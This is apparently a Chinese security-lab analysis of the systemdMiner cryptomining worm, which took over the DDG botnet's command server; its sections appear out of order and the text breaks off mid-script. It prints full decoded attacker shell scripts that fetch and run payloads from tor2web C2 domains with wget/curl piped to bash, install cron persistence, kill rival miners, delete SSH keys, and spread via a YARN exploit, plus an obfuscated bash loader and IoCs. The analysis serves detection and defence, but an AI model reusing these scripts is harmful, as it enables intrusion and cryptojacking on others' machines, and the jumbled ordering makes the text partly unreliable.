pkill -9 -f "8220|aegis_|AliYunDun|AliHids|AliYunDunUpdate|aliyun-service|cr.sh|cryptonight|ddgs|fs-manager|hashfish|hwlh3wlh44lh|java-c|kerberods|kworkerds|kpsmouseds|kthrotlds|mewrs|miner|mr.sh|muhsti|mygit|orgfs|qW3xT|qwefdas|stratum|sustes|t00ls|thisxxs|/tmp/ddgs|/tmp/java|/tmp/udevs|/tmp/yarn|/usr/bin/netfs|watchbog|wipefs|wnTKYg|xig|xmr|zer0"

find ~/.ddg/*|xargs fuser -k;rm -rf ~/.ddg
find /etc/cron*|xargs chattr -i
find /var/spool/cron*|xargs chattr -i
grep -RE "(wget|curl)" /etc/cron.*|cut -f 1 -d :|xargs rm -f
grep -RE "(wget|curl)" /var/spool/cron*|cut -f 1 -d :|xargs sed -i '/wget\|curl/d'
rm -f /usr/sbin/aliyun* /usr/local/aegis* /usr/local/qcloud* /usr/local/bin/dns ~/.wget-hsts
</code></pre><p>该脚本的功能就是清除各种竞争对手。</p><h4 id="3-1-4-shell-"><strong>3.1.4 Shell 脚本四：下载矿机并执行</strong></h4><p>原始脚本经过 Base64 编码，解码后如下：</p><pre><code>exec &amp;&gt;/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d() {
    x=/systemd-analyze
    y=/tmp/.systemd-analyze
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
    sleep 6
}

if ! ps -p $(cat /tmp/.X11-lock); then
    d rapid7cpfqnwxodo.tor2web.fyi || d rapid7cpfqnwxodo.onion.in.net
fi
</code></pre><p>此脚本会从 <code>rapid7cpfqnwxodo.tor2web.fyi</code> 或 <code>rapid7cpfqnwxodo.tor2web.fyi</code> 下载 <strong>systemd-analyze</strong> 文件并执行。<strong>systemd-analyze</strong> 正是基于 XMRig 改写的矿机程序。</p><h4 id="3-1-5-shell-shell-"><strong>3.1.5 Shell 脚本五：更新样本和恶意Shell脚本</strong></h4><p>原始脚本经过 Base64 编码，解码后如下：</p><pre><code>exec &amp;&gt;/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d() {
    x=/systemd-login
    y=/tmp/.systemd-login
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
    sleep 5
}

u() {
    x=/systemd.sh
    (wget -qU- -O- --no-check-certificate $1$x || curl -fsSLkA- $1$x)|bash
}


if [ -f /tmp/.systemd-update ]; then
    kill -9 $(cat /tmp/.X1M-unix) &amp;&amp; rm -f /tmp/.X1M-unix;rm -f /tmp/.systemd-update
    d rapid7cpfqnwxodo.onion.in.net || d rapid7cpfqnwxodo.tor2web.fyi
fi

u rapid7cpfqnwxodo.onion.in.net || u rapid7cpfqnwxodo.tor2web.fyi
</code></pre><p><strong>systemd-login-ddg</strong> 会用此脚本检查样本更新标志文件 <code>/tmp/.systemd-update</code> ，据此来下载最新的 <strong>systemd-login</strong> 样本。随后会下载最新的恶意 Shell 脚本 <strong>systemd.sh</strong> 并执行。</p><p>接下来 <strong>systemd-login-ddg</strong> 还会执行第 6 个 Shell 脚本。第 6 个 Shell 脚本与第 5 个基本相同，不同点在于下载 <strong>systemd-login</strong> 样本的 C2 Domain 多了一个 <code>rapid7cpfqnwxodo.tor2web.io</code> 。</p><h3 id="3-2-systemd-resolve"><strong>3.2. systemd-resolve</strong></h3><p>前文说过，<strong>systemd-resolve</strong> 集成了 YARN 未授权访问漏洞的 Exp，并以此入侵其他主机横向传播。<strong>systemd-resolve</strong> 的加壳、对抗分析特性都与 <strong>systemd-login-ddg</strong> 相同，不同的是把自身的守护进程命名为 <strong>-rbash</strong> 。</p><p>该样本主要用于内网传播，针对 <code>172.16.0.0/12</code> 、<code>192.168.0.0/16</code> 和 <code>10.0.0.0/8</code> 网段。样本会先检查当前主机的 LAN_IP，是否属于上述三个内网网段：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/04/scan_yarn.png" class="kg-image" alt loading="lazy"></figure><p>如果当前主机的 LAN_IP 属于上述三个网段，样本就会批量探测上述网段各主机的 <strong>8088</strong> 端口：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/04/scan_yarn_pcap.png" class="kg-image" alt loading="lazy" title="scan_yarn_pcap"></figure><p>对于探测成功的目标主机，则利用以下 Payload 来传播自身：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/04/yarn_exp.png" class="kg-image" alt loading="lazy" title="yarn_exp"></figure><p>Payload 中的 Shell 脚本同样经过 Base64 编码，解码后如下：</p><pre><code>exec &amp;&gt;/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d() {
    x=/systemd-login-h
    y=/tmp/systemd
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
}

if ! ps -p $(&lt; /tmp/.X1M-unix); then
    d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.onion.in.net || d aptgetgxqs3secda.onion.sh || d aptgetgxqs3secda.tor2web.io
fi
</code></pre><p>可以看到最终会在目标失陷主机中下载 <strong>systemd-login-h</strong> 并执行。这个 <strong>systemd-login-h</strong> 功能与上面分析过的 <strong>systemd-login-ddg</strong> 相同，此处不赘述。</p><h3 id="3-3-systemd-sh"><strong>3.3 systemd.sh</strong></h3><p>前文提到，<strong>systemd-login-ddg</strong> 在用来更新样本的第 5 个 Shell 脚本中，会下载 <strong>systemd.sh</strong> 并执行。在我们分析 <strong>systemdMiner</strong> 家族的早期，这个 <strong>systemd.sh</strong> 脚本没有实质性的内容：</p><pre><code>exec &amp;&gt;/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
</code></pre><p>大概在 2019.4.23 中午，背后的攻击者才把 <strong>systemd.sh</strong> 正式上线，最新的 <strong>systemd.sh</strong> 的内容：</p><pre><code>exec &amp;&gt;/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
    x=/systemd-analyze
    y=/tmp/.systemd-analyze
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
    sleep 6
}

if ! ps -p $(cat /tmp/.X11-lock); then
    d rapid7cpfqnwxodo.d2web.org
fi
</code></pre><p>可以看到其目的是下载 <strong>systemd-analyze</strong> 并执行。</p><h3 id="3-4-systemd-analyze"><strong>3.4 systemd-analyze</strong></h3><p>前文提到， <strong>systemdMiner</strong> 目前的盈利手段是挖矿，而最终承担此任务的的矿机程序就是这个 <strong>systemd-analyze</strong> 。</p><p>此矿机程序也有与 <strong>systemdMiner</strong> 其他二进制程序相同的对抗分析的手段，不同的是它会把自己的进程命名为 6 位由大小写英文字母和数字组成的随机字符串。矿机程序中的 XMRig 相关字符串：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/04/xmrig_str.png" class="kg-image" alt loading="lazy" title="xmrig_str"></figure><p>挖矿的矿池(Or Proxy) 是攻击者自己控制的 IP，并非公共矿池，而且登录矿池所用的账号和密码均为 <code>"x"</code>，所以无法查到攻击者的挖矿获利情况。此矿机所用的挖矿账号、密码以及矿池(Or Proxy) 如下：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/04/miner_conf.png" class="kg-image" alt loading="lazy" title="miner_conf"></figure><p>经过排查，我们发现次矿机样本中涉及的两个矿池(Or Proxy) IP 对应的域名如下：</p><p>DomainDNS Recorde TypeIPRemarkpol-ice.ruA5.167.55.128一家俄罗斯冰淇淋公司ecosustain.infoA136.243.90.99European regional development Fund<br>资助的环保监测项目</p><p>上述两个都是正经网站的正经域名，所以我们怀疑是被黑客组织入侵了以后当做矿池(Or Proxy)。</p><h2 id="4-"><strong>4. 总结</strong></h2><p>综合以上分析以及针对 DDG.Mining.Botnet 一直以来的追踪分析，在技术细节方面， <strong>systemdMiner</strong> 和 DDG 之间只发现一处相似点：DDG 的配置数据下发 URI 为 <code>/slave</code> ，<strong>systemdMiner</strong> 的 Report URI 也是 <code>/slave</code> ，但这远不足以说明这两个团伙之间有什么联系。更何况 <strong>systemdMiner</strong> 还把 DDG 当作竞争对手而清除，而 DDG 的配置数据中也通过 hosts 文件屏蔽了 <strong>systemdMiner</strong> 的 C2 Domain。</p><p>所以我们认为，DDG 的主 C2 被 <strong>systemdMiner</strong> 的团伙入侵了。得手之后，<strong>systemdMiner</strong> 背后的团伙篡改了 DDG 的恶意 Shell 脚本，并把 DDG 主 C2 服务器上 DDG 的主样本替换成自己的恶意程序，从而经过 DDG 的下发通道把自己的恶意程序下发到 DDG 控制的肉鸡上。</p><p>在 systemdMiner 后续的更新中，还会把自己的矿机程序命名为类似于 DDG 样本的名字，比如 <strong>6Tx3Wq</strong>(同于DDG 矿机程序文件名)或者<strong>ddgs.4000 ，让人乍一看会误以为是 DDG 相关的恶意程序。</strong></p><h2 id="5-iocs"><strong>5. IoCs</strong></h2><p><strong>C&amp;C Domain:</strong></p><pre><code>aptgetgxqs3secda.onion.ly
aptgetgxqs3secda.onion.pet
aptgetgxqs3secda.tor2web.fyi
aptgetgxqs3secda.onion.in.net
aptgetgxqs3secda.onion.mn
aptgetgxqs3secda.d2web.org
rapid7cpfqnwxodo.tor2web.fyi
rapid7cpfqnwxodo.onion.in.net
rapid7cpfqnwxodo.onion.ly
rapid7cpfqnwxodo.onion.pet
rapid7cpfqnwxodo.onion.mn
rapid7cpfqnwxodo.d2web.org
</code></pre><p><strong>MD5:</strong></p><pre><code>64315b604bd7a4b2886bba0e6e5176be
dd8202ac5e6a2f6c8638116aa09694d7
45e4d4671efcd1d9e502359c2fbbd6eb
aa83345c8cc3e7b41709f96bfb9844f8
9f3edaa64e912661cd03f1aa9d342162
aa83345c8cc3e7b41709f96bfb9844f8
4215f6306caa3b216295334538cad257
50da2fb3920bfedfeb9e3a58ca008779
ceaee3da774cc712dc735d38194b396e
8d9f26cd8358dce9f44ee7d30a96793f
4bff1a92e6adcfe48c8b0f42b21a5af6</code></pre>
1. 概述

在最近的关于 DDG.Mining.Botnet v3021/v3022 版本的 威胁快讯 一文中，我们提到了 DDG 最近在用的主 C2:

119.9.106.27    AS45187|RACKSPACE-AP Rackspace IT Hosting AS IT Hosting Provider Hong Kong, HK|Hong Kong|China


2019.4.19 日凌晨，我们发现 DDG 更新了其配置数据(CfgVer:23)和恶意 Shell 脚本 i.sh，在 i.sh 脚本的最后新增了一段陌生的 Shell 代码，这段 Shell 代码会在失陷主机下载一套全新的恶意程序，之后就会脱离 DDG 的基础设施而独立运行、传播，在执行的过程中还会杀掉 DDG 的进程、清除 DDG 的 cron 配置。这套全新的恶意程序在短暂的传播过后，DDG 的上述主 C2 随即下线停止服务。

鉴于这一套恶意程序的多个恶意组件均以 systemd-<XXX> 的形式命名，我们把它命名为 systemdMiner 。systemdMiner 的恶意程序具有蠕虫特性，会利用 3 种手段传播自身，在入侵失陷主机后，最终会下载基于 XMRig 改写的矿机程序来挖矿牟利。

在 DDG 上述主 C2 下线期间，DDG 僵尸网络并没有消失。得益于它自身的 P2P 网络结构、其他 2 个备用 C2 和自身的系统驻留机制，DDG 整个僵尸网络还依然存活，每天活跃的 P2P Nodes 有 3000+。

直到 4.25 凌晨，DDG 才上线了 2 个新的 C2，并把版本号升级到 v4000，恢复如初。配置数据版本为 CfgVer:25 。DDG v4000 最新的配置数据中还会下发指令，篡改 hosts 文件，屏蔽 systemdMiner 的一组 C2 Domain。DDG v4000 的 2 个新 C2:

109.237.25.145    AS63949|LINODE-AP Linode, LLC|United Kingdom|London --> Main C&C
104.128.230.16    AS62217|VooServers_Ltd|United States|New York


systemdMiner 在 C2 基础设施、网络结构、恶意代码技术细节、传播方式、矿机程序等诸多方面与 DDG 完全不同：

 * DDG 的基础设施由 1 个主 C2 IP 和 2~3 个备用 C2 IP 构成，而 systemdMiner 的基础设施是架设在暗网并通过类似 tor2web 的服务映射到公网的一组 C2 Domain 以及矿池(Or Proxy) IP；
 * DDG 当前的网络结构是一个非典型的 P2P 网络结构——一组 C2 IP 和典型 P2P 网络结构相结合，而 systemdMiner 的网络结构则是传统的 C/S 结构；
 * DDG 的主样本由 Go 语言编写，从诞生至今始终如此，配合一个恶意 Shell 脚本 i.sh 来运行，而 systemdMiner 的主样本都是 C 语言编写，除此之外，二者的主样本在主要功能、实现方式等代码细节方面也完全不同；
 * DDG 目前的二进制样本都加了标准 UPX 壳，而 systemdMiner 的二进制样本加的壳都是变形 UPX 壳，没有很直观的 UPX 特征；
 * DDG 的传播方式主要是利用 SSH 弱口令和 Redis 未授权访问漏洞来传播，systemdMiner 则有 3 中完全不同的传播手段；
 * DDG 的矿机程序由 XMRig 直接编译而来，没有加壳，XMR Wallet 就硬编码在矿机程序中，sysmtedMiner 的矿机程序对 XMRig 源码做了明显改动，加了变形 UPX 壳，还没有暴露 XMR Wallet。

基于以上原因，我们认为是 systemdMiner 的团伙入侵了 DDG 的主 C2，并通过 DDG 的基础设施下发了自己的一套恶意程序，我们把这种黑吃黑的行为形容为借鸡下蛋。

systemdMiner 的 3 种传播手段：

 1. 利用 YARN 未授权访问漏洞入侵主机；
 2. 利用 *nix 自动化运维工具(salt/ansible/chef-knife)横向传播；
 3. 利用失陷主机本地保存的 SSH 密钥传播自身。

systemdMiner 这一套恶意程序，涉及的多个二进制程序和 Shell 脚本，下文会一一剖析。各程序简介：

 * systemd-login-ddg: 主样本，设置定时任务，横向传播以及 Download 其他样本并执行；
 * ddgs.i686: 同上；
 * ddgs.x86_64: 同上；
 * systemd-login: 同上；
 * systemd-login-h: 同上；
 * cron.sh: 定时任务执行脚本，定期下载主样本并执行；
 * systemd.sh: 更新主样本和矿机程序；
 * systemd-resolve: 集成 YARN 未授权访问漏洞来横向传播；
 * systemd-analyze: 矿机程序。

systemdMiner 真正的 C2 服务器架设在暗网中，并通过一组类似 tor2web 的服务映射到公网，来与恶意样本通信。通过 DNSMon 查看 systemdMiner 的几个 C2 Domain 最近的访问趋势如下：


2. DDG “下的蛋”——最后的配置数据和 Shell 脚本

DDG 最新的配置数据：

{CfgVer:23 Config:{Interval:60s} Miner:[{Exe:/tmp/6Tx3Wq Md5:42483ee317716f87687ddb79fedcb67b Url:/static/qW3xT.6} {Exe:/tmp/qW3xT.6 Md5:42483ee317716f87687ddb79fedcb67b Url:/static/qW3xT.6}] Cmd:{AAredis:{Id:6071 Version:3022 ShellUrl:http://119.9.106.27:8000/i.sh Duration:240h NThreads:0 IPDuration:6h GenLan:true GenAAA:false Timeout:1m Ports:[6379 6389 7379]} AAssh:{Id:2083 Version:3022 ShellUrl:http://119.9.106.27:8000/i.sh Duration:240h NThreads:0 IPDuration:12h GenLan:true GenAAA:false Timeout:1m Ports:[22 1987]} Sh:[{Id:1 Version:-1 Line:uptime Timeout:5s} {Id:707 Version:3022 Line:rm -rf /root/.ssh/authorized_keys /root/.systemd-login Timeout:600s} {Id:701 Version:3022 Line:crontab -r Timeout:600s} {Id:708 Version:3022 Line:echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com\n0.0.0.0 tor2web.io\n0.0.0.0 gitee.com\n0.0.0.0 w.21-3n.xyz\n0.0.0.0 w.3ei.xyz\n0.0.0.0 aptgetgxqs3secda.onion.ly\n0.0.0.0 aptgetgxqs3secda.onion.pet\n0.0.0.0 aptgetgxqs3secda.tor2web.fyi\n0.0.0.0 aptgetgxqs3secda.onion.in.net\n0.0.0.0 rapid7cpfqnwxodo.tor2web.fyi\n0.0.0.0 rapid7cpfqnwxodo.onion.in.net\n0.0.0.0 rapid7cpfqnwxodo.onion.ly\n0.0.0.0 rapid7cpfqnwxodo.onion.pet\n" >> /etc/hosts Timeout:600s} {Id:709 Version:-1 Line:rm -f /tmp/systemd /tmp/.systemd-login /tmp/.systemd-analyze /lib/systemd/systemd-login ~/.systemd-login Timeout:600s}] Killer:[{_msgpack:{} Id:606 Version:3020 Expr:/tmp/ddgs.(3011|3012|3013|3014|3015|3016|3017|3018) Timeout:60s}] LKProc:[]}}


最后下发的 i.sh 脚本：

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/15 * * * * (curl -fsSL http://119.9.106.27:8000/i.sh||wget -q -O- http://119.9.106.27:8000/i.sh) | sh" | crontab -

echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh" >> /var/spool/cron/root


mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh" >> /var/spool/cron/crontabs/root


cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable

export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep betsbce || rm -rf betsbce
if [ ! -f "betsbce" ]; then

    curl -fsSL http://119.9.106.27:8000/static/3022/ddgs.$(uname -m) -o betsbce
fi
chmod +x betsbce
$(pwd)/betsbce || /usr/bin/betsbce || /usr/libexec/betsbce || /usr/local/bin/betsbce || betsbce || ./betsbce || /tmp/betsbce

ps auxf | grep -v grep | grep betsbcb | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep betsbcc | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep betsbcd | awk '{print $2}' | xargs kill -9

echo ZXhlYyAmPi9kZXYvbnVsbApzZWQgLWkgJy9yYXBpZC9kJyAvZXRjL2hvc3RzCnNlZCAtaSAnL2FwdGdlL2QnIC9ldGMvaG9zdHMKCmQoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luLWRkZwogICAgeT0vdG1wLy5zeXN0ZW1kLWxvZ2luCiAgICB3Z2V0IC1xVS0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAkMSR4IC1PJHkgfHwgY3VybCAtZnNTTGtBLSAkMSR4IC1vJHkKICAgIGNobW9kICt4ICR5OyR5CiAgICBzbGVlcCA1Cn0KCmlmICEgcHMgLXAgJChjYXQgL3RtcC8uWDFNLXVuaXgpOyB0aGVuCiAgICBkIGFwdGdldGd4cXMzc2VjZGEub25pb24ubHkKZmkKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGQgYXB0Z2V0Z3hxczNzZWNkYS5vbmlvbi5wZXQKZmkKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGQgYXB0Z2V0Z3hxczNzZWNkYS50b3Iyd2ViLmZ5aSB8fCBkIGFwdGdldGd4cXMzc2VjZGEub25pb24uaW4ubmV0CmZpCgo=|base64 -d|bash


其实类似上述 i.sh 的 Shell 脚本文件在 4.19 日凌晨下发了多个，它们的主要区别是最后下载的 ddgs 样本另存为的文件名不同。注意 i.sh 脚本最后一段 Base64 编码过的字串，解码后是另外一段独立的 Shell 脚本：

exec &>/dev/null
sed -i '/rapid/d' /etc/hosts
sed -i '/aptge/d' /etc/hosts

d() {
    x=/systemd-login-ddg
    y=/tmp/.systemd-login
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
    sleep 5
}

if ! ps -p $(cat /tmp/.X1M-unix); then
    d aptgetgxqs3secda.onion.ly
fi
if ! ps -p $(cat /tmp/.X1M-unix); then
    d aptgetgxqs3secda.onion.pet
fi
if ! ps -p $(cat /tmp/.X1M-unix); then
    d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.onion.in.net
fi


这段 Shell 脚本，首先检查 /tmp/.X1M-unix 文件里的进程号对应的进程是否存活，文件不存在或者进程不存活则尝试通过以下 URL 下载 systemd-login-ddg 文件并执行：

aptgetgxqs3secda.onion.ly/systemd-login-ddg
aptgetgxqs3secda.onion.pet/systemd-login-ddg
aptgetgxqs3secda.tor2web.fyi/systemd-login-ddg
aptgetgxqs3secda.onion.in.net/systemd-login-ddg


除此之外， i.sh 脚本中，以前 DDG 样本的下载 URL http://119.9.106.27:8000/static/3022/ddgs.$(uname -m) 下到的文件也被替换成 systemdMiner 相关的恶意程序。

这样一来，就可以通过 DDG 的这一波更新，下发 3 个 systemdMiner 的恶意程序：

 1. systemd-login-ddg
 2. ddgs.i686
 3. ddgs.x86_64


3. systemdMiner 系列样本分析


3.1 systemd-login-ddg

systemd-login-ddg 是 systemdMiner 团伙通过 DDG 的网络基础设施下发的一个最主要的恶意程序，另外两个同时下发的 ddgs.i686 和 ddsg.x86_64 都是 systemd-login-ddg 的变种。顺着 systemd-login-ddg 的执行，后续还会涉及两个恶意程序，都是 systemd-login-ddg 的变种，区别在于部分 C2 Domain 设定不同，这些同类恶意程序有：

 * systemd-login
 * systemd-login-h

systemdMiner 相关的所有二进制样本，都由 musl-libc 编译而成。并且都用变形的 UPX 加了壳，壳代码改动很多，变形 UPX 壳的 Magic Number 为 0x7373622E(ASCII String: .bss ) ：

脱壳后，恶意程序在刚开始就会检查 LD_PRELOAD 和 PTRACE_TRACEME ，用来对抗针对性地调试和沙箱：

然后，systemd-login-ddg 会删除自身文件，创建守护进程并把进程号写入 /tmp/.X1M-unix 文件，进程名为 -bash：

接下来，systemd-login-ddg 会把下面的脚本保存到 /tmp/systemd 文件中：

#!/bin/bash
exec &>/dev/null
{echo,ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4Kc2xlZXAgJCgoUkFORE9NICUgNjAwKSkKKHdnZXQgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuZnlpL2Nyb24uc2ggfHwgY3VybCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuZnlpL2Nyb24uc2ggfHwgd2dldCAtcVUtIC1PLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0L2Nyb24uc2ggfHwgY3VybCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLm9uaW9uLmluLm5ldC9jcm9uLnNoICl8YmFzaAo=}|{base64,-d}|bash


上述脚本中的编码字串解码后如下：

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
sleep $((RANDOM % 600))
(wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.tor2web.fyi/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.tor2web.fyi/cron.sh || wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.onion.in.net/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.onion.in.net/cron.sh )|bash


如果当前用户是 root ，样本还会探测 /lib/systemd/ 目录，并执行命令 cp -f /tmp/systemd /lib/systemd/systemd-login，用于开机启动。

然后，执行命令 mv -f /tmp/systemd ~/.systemd-login 把 systemd 文件移动到用户主目录并隐藏。

上面用来开机启动执行的脚本文件 /lib/systemd/systemd-login ，会从 C2 服务器下载 cron.sh 文件并执行。cron.sh 是经过高度混淆的 Shell 脚本，原始内容如下：

"${@%4}"$'\145v'${*%%5}al "$(rK=(\& \ ${*,,} l H \|${*//t5/&W} h n"${@//ar}" s \+${*##\(%} \!${!*} M${*^^} \. c 1${*##o} T 3"${@~~}" a${*~} w"${@%9Q}" g q \-${*#uo} \(${*,} \=${*##+C} \; O${*%JK} U"${@~}" 2$* \<${*%%3} y \} \:${@//_o/F} u e"${@}" r \/ L \{ o i k S"${@//Ao/W}" m f${@/s\`/\]} v${@%0$} A $'\xa'${*/Xr/>} \$${*/&T} b t"${@^^}" P x \) X p${*/u} d \>)&&for JS in 32${*#mP} 50"${@%%L}" 32${*%%b} 12${@} 1 0 55 34${@/~f/-\\} 54 32 43 34${*/^\{/T} 6 31 2"${@//s/x}" 2${*,,} 45"${@,,}" 32${*%E} 50 53${*//;\]/O} 37 33 48 1 49${*~} 44 14 3 22 46 49 44 14"${@,}" 3 30 34 47${@##+H} 38${*/j\!} 6 30 34${*%Oe} 7 47 38 6${*/P\}/\)s} 30${@%%DG} 34"${@%%J7}" 31$@ 7 33 34 47 38 6${*##Iq} 30 34${@} 31"${@%Z}" 7${*%G6} 33"${@}" 34 7${@^} 47 38 6${@%h} 30 34 31${@##fO} 7${*##R} 33 34 2${*~} 37"${@//q?}" 12 16 2${@//K/EH} 34 47${*//./_\}} 38 6 30 34 31 7${*^} 33$* 34"${@,}" 2${*~~} 37"${@/-/=}" 12${*~~} 16 2 34 7 47 38 6${*} 45 45 54 21 51$@ 1 36"${@##qh}" 45"${@^}" 1"${@,,}" 1${@/^z/o} 1 1 50 22${*~~} 34"${@##\`}" 7 28"${@,}" 7${@//L*/i} 48 32${*,} 41 54 20 2${@~~} 37${*#DF} 18${@//CK/\`\"} 38 6 45${*#A4} 1${*~~} 1 1${*//9S/d} 1 28"${@~~}" 22 34${@^} 48${*^} 41${@^^} 53 34${*/Y\}} 7 28 7 48${*##\"<} 32${*%v} 41${*#0m} 54 45${*^^} 1 1 1 1 17 18 32 48"${@^}" 1 20${*/-G} 19 25 20 1 20"${@}" 20 6 37${*^^} 20${*##C} 12${@,} 5${*//<Y} 32 12 39${@^^} 20${*%|} 12 32 33${*~~} 48 38 42${*^} 38 12${@//#/ML} 16 48 32${*^} 1${@^^} 46 13${*~} 46 50${*/Rg} 1 20 24 46"${@,,}" 28 1 4 4${*%g8} 1$@ 12"${@%%%S}" 31"${@}" 33"${@##6^}" 2 1 20 42 7${*~~} 40 35${!*} 39 44${@//y} 20 1${*~~} 46 13 46 50${@%m} 1"${@##Zk}" 20"${@//;O}" 37 46 28 45${*%dG} 1${*##>} 1 1${*^} 1 12 5${@%%?} 41 37${*~} 54 1 8${*,} 50${*,} 1"${@%%V}" 46${*%h6} 28${*%h7} 23 46${*~} 28"${@^^}" 45 29${@//5/1} 45 45 38 42 1${*//z/\(G} 9${@} 1 53 7 1${*//NU/;*} 20 53${*//My/_y} 1 46 21 27${*/?h/Y6} 1 34 48 41${!@} 53 34 11"${@//?\(/9}" 52"${@//:3}" 13${*~~} 10 20 31"${@#o}" 6${@#U} 38 50 51 23 1${*} 48${*##kx} 5${*/_/zi} 32${*} 6 45${!@} 1${@~~} 1 1${*^^} 1 54 1 16$@ 53 48${*##6} 18${*//T/q} 32 48"${@/Tc/&F}" 18${*/Y} 50 19 7${!@} 15${@^} 7 32${*~} 12 54 16 11${*%%&W} 37${*//2/\}#} 6${*//\}^/F} 38 37 6${!@} 11 38${*,} 6${*,,} 11 6${*/NM/F} 32 48 1"${@##r}" 4 4${*^^} 1${*#3} 54${@^^} 1"${@}" 16 53 48 18 32${@/\}\}} 48 18"${@^}" 50"${@^}" 19${@##d%} 7${!@} 15 7"${@}" 32${*/ve} 12${!*} 54${@^} 16 11 37 6${*^^} 38 37 6 11${*%s} 7 5 1 4"${@%77}" 4 1 54${@} 1${@/Rm} 16${!*} 53${*%36} 48${*^} 18"${@~}" 32${*//,/P} 48 18 50${@##@} 19"${@%b}" 7 15 7 32${*^^} 12 54 16 11${*^^} 48 37"${@//Ca}" 33"${@~~}" 26${*//5} 17 32${@//So} 47 11 42${*~} 28 38"${@^^}" 1 4 4${*,} 1 54 1${@//k?} 16${@/\\} 53 48 18$@ 32${@#\\} 48 18${@/9} 50 19 7${*#\`c} 15 7 32 12${*^} 54${@%\]} 16 11 48 37"${@#V6}" 33"${@^^}" 26${*%%T} 17${*^^} 32 47${@/f7/p} 11${*#+H} 38${*,} 37${*%%wo} 45${*/<} 42 38 45"${@~~}";do pr${*//<}i$'\x6e'\tf %s "${rK[$JS]}""${@/#}";done;)"


解混淆后的真面目：

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d() {
    x=/systemd-login
    y=/tmp/systemd
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
}

if ! ps -p $(< /tmp/.X1M-unix); then
    d aptgetgxqs3secda.onion.in.net || d aptgetgxqs3secda.onion.sh || d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.tor2web.io
fi


最后，systemd-login-ddg 会继续执行一系列经过 Base64 编码的 Shell 脚本。

3.1.1 Shell 脚本一：上报 C2，利用自动化运维工具传播

原始脚本经过 Base64 编码，解码后如下：

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

xssh() {
